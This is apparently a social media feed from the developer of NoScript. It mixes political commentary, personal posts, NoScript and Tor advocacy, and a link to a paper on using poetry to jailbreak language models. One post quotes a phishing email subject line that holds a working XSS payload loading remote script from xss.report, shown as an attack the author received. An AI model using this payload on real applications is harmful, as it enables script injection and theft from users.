Giorgio Maone

"In Book X of The Republic, Plato excludes poets on the grounds that mimetic language can distort judgment and bring society to a collapse."

Adversarial Poetry as a Universal Single-Turn Jailbreak Mechanism in Large Language Models.

arxiv.org/html/2511.15...

mr president sir theres a story coming about how you intervened to help a sex criminal. no sir, not that sex criminal you helped….no not that one either…sir, please stop guessing sex criminals that you helped. ill give you a hint sir, hes a trafficker. no sir, not that trafficker a different one

La fabbrica della sfiducia Dalle bugie del Cremlino alle bufale antivax: la propaganda autoritaria contemporanea non punta tanto a convincere, quanto a confondere e seminare sfiducia. Un trend che coinvolge anche l'università

Quando la propaganda russa si fa strada nell'università e perché.
fabiosabatini.substack.com/p/la-fabbric...

"JPMorgan on Monday said building AI infrastructure will cost more than $5tn"

Crazy idea: Why not, rather than spending $5 TRILLION dollars to pay for data centers to create fake brains, just pay actual human beings with real brains that same $5 trillion?

EU set to water down landmark AI act after Big Tech pressure Commission proposes pauses to provisions in digital rule book

The tech bros get Trump to exercise extortionate demands on the EU to block regulatory initiatives. The tactic works flawlessly. www.ft.com/content/af6c...

It turns out that nobody will vote for you to care for their children when your leader AND HER HUSBAND get arrested for being sexual predators.

Projection as a form of art.

Reform UK, the Russian spy and rolls of Kremlin cash: the inside story of Nathan Gill How did a former Mormon bishop end up pleading guilty to taking bribes to make statements in favour of Russia in the European parliament?

This month Nathan Gill will be sentenced at the Old Bailey after pleading guilty to taking bribes to make statements in favour of Russia during his tenure as a member of the European parliament. This fascinating article discusses his close relationship to Farage. www.theguardian.com/news/ng-inte...

A 31 October 2017 picture of @ma1 dressed and his daughter,dressed as Fester and Wednesday Addams.

8 years ago: the pumpkin monster in chief 🎃 was already deranged, but not as much as now, and #WednesdayAddams was not on Netflix yet, but already a role model.

A merry and spooky #Halloween everyone! 🖤

Speaker Johnson admits Trump & Republicans are forcing millions of kids to go hungry for political leverage. He says funding SNAP would "reduce the pressure" on Democrats. Disgusting.

DHS Agreement Reveals Risks of Using Social Security Data for Voter Citizenship Checks A recently released agreement gives the Department of Homeland Security access to hundreds of millions of Americans’ Social Security data. It contains alarmingly few provisions to ensure accuracy and ...

"The details of the agreement show it contains alarmingly few guardrails to ensure accuracy and scant specifics on how the data will be kept secure. Further, it explicitly does not bar DHS from deploying the SSA data for other purposes, including immigration enforcement."

Ranking member of the House Homeland Security Committee Bennie G. Thompson said in a statement “Mobile Fortify is a dangerous tool in the hands of ICE, and it puts American citizens at risk of detention and even deportation.” He also said “ICE officials have told us that an apparent biometric match by Mobile Fortify is a ‘definitive’ determination of a person’s status and that an ICE officer may ignore evidence of American citizenship—including a birth certificate—if the app says the person is an alien. ICE using a mobile biometrics app in ways its developers at CBP never intended or tested is a frightening, repugnant, and unconstitutional attack on Americans’ rights and freedoms.”

New incredible detail here: ICE says a match in its facial recognition app Mobile Fortify is a "definitive" determination of a person's status, and that this overrides birth certificates. This is an app ICE is using in the field to scan people

www.404media.co/ice-and-cbp-...

From latest issue of Absolute Batman, a thug screaming "Pure power... White pow..." gets his arm broken by the dark knight.

Make #fascists afraid again ✊

Also, TIL
libcom.org/article/vany...

#batman

Based #Python Software Foundation, unlike those spineless big tech CEOs and founders, refuses to kiss #nazis' ass for (much needed) money 🫶🏼

Never like today it's time for #EU and democratic countries to step up and support critical #FOSS infrastructure.

pyfound.blogspot.com/2025/10/NSF-...

@ma1 in a crowded theater, on the screen the Linux Day Palermo 2025 banner.

Powerful geek vibes in #Palermo today.
linuxday.thefreecircle.org/2025/en/

#linuxday #linuxday2025

"No, we don't want a monarchy, we want a theocracy" is a not the flex they think it is.

The idea that there are activists and citizens who attend protests because it’s what they believe in is completely foreign to them. If it isn’t a personal grift, they don’t understand the motivation.

In late July, Paul Ingrassia, the White House liaison for the Department of Homeland Security, arrived at a Ritz-Carlton in Orlando with a lower-ranking female colleague and others from their department. When the group reached the front desk, the woman learned she didn’t have a hotel room. Ingrassia then informed her that she would be staying with him, according to five administration officials familiar with the episode. Eventually the woman discovered that Ingrassia had arranged ahead of time to have her hotel room canceled so she would have to stay with him, three of those officials said.

"30-year-old conservative lawyer and activist who is Trump’s nominee to lead the Office of Special Counsel, which deals with federal employee whistleblower complaints and discrimination" cancelled his colleague's hotel room so she would be forced to stay with him.
www.politico.com/news/2025/10...

i’ve seen enough. and by that i mean lots of evidence. If you’re running an account that uses phrases like “antifascist,” or anything in the vicinity, the FBI, the NYPD, it doesn’t really matter, it’s all the same thing now, you’re on a watchlist.

Pretty sure we’re living one

Incredible.

Jack Posobiec references the earliest version of antifa -- the anti-fascists in the Weimar Republic who were opposed to the Nazi Party -- as the bad guys.

Apps being censored by corporate stores makes a great case for breaking free from centralized platforms & switching back to the open web.
And of course, for setting up onion services (community.torproject.org/onion-servic...) to prevent censorship and using the Tor Browser to stay anonymous.

Apps being censored by corporate stores makes a great case for breaking free from centralized platforms & switching back to the open web.
And of course, for setting up onion services (community.torproject.org/onion-servic...) to prevent censorship and using the Tor Browser to stay anonymous.

Get it! - NoScript: Own Your Browser! The NoScript Security Suite is Free Software protecting Firefox (on Android, too!), Chrome, Edge, Brave and other web browsers. Install NoScript now!

NoScript 13.1 is out.

- New wasm capability for per-site WebAssembly control

- Fix for some visual breakages where unrestricted CSS is off

- Best effort avoidance of extra tab bars for AI Chatbot sidebar detection

noscript.net/getit

creenshot of a Thunderbird panel: From: mark akram <techguymarkakram@gmail.com> Subject: Email Change '";//>--></noscript></title></textarea></style></template></noembed></script><svg/onload=import("//xss.report/c/teslaw")> To: mark akram <techguymarkakram@gmail.com> Hey! Can you change email address? Thank you

Any of you among the "undisclosed recipients" of this double #XSS attempt just landed in my inbox (thanks @thunderbird.net for being impervious to these sheenigans)?

Nice TLD, btw...

Hybrid civil war.

YouTube video by MSNBC ‘F--- them kids’: ICE agents drag children out of bed, ransack Chicago building

Chris Hayes did an outstanding job of proving Miller's a facist. Wait through the commercials.
youtu.be/vOXOWAhFz0A

as a girl with a PhD in natural language processing and machine learning it's actually offensive to me when you say "we don't know how LLMs work so they might be conscious"

I didn't spend 10 years in mines of academia to be told ignorance is morally equal knowledge.

We know exactly how LLMs work.

Even in Italy, notwithstanding the Vatican and the cruel tactics from the overwhelming majority of anti-chiuce objectors, it's (still) legal and a much better option.

You don't need to share location to weather apps, choose one that allows you to add forecasts for different locations. Also don't share location with dating apps - Bumble etc shouldn't need it and it doesn't make you safe or help you find a match for them to know your exact location.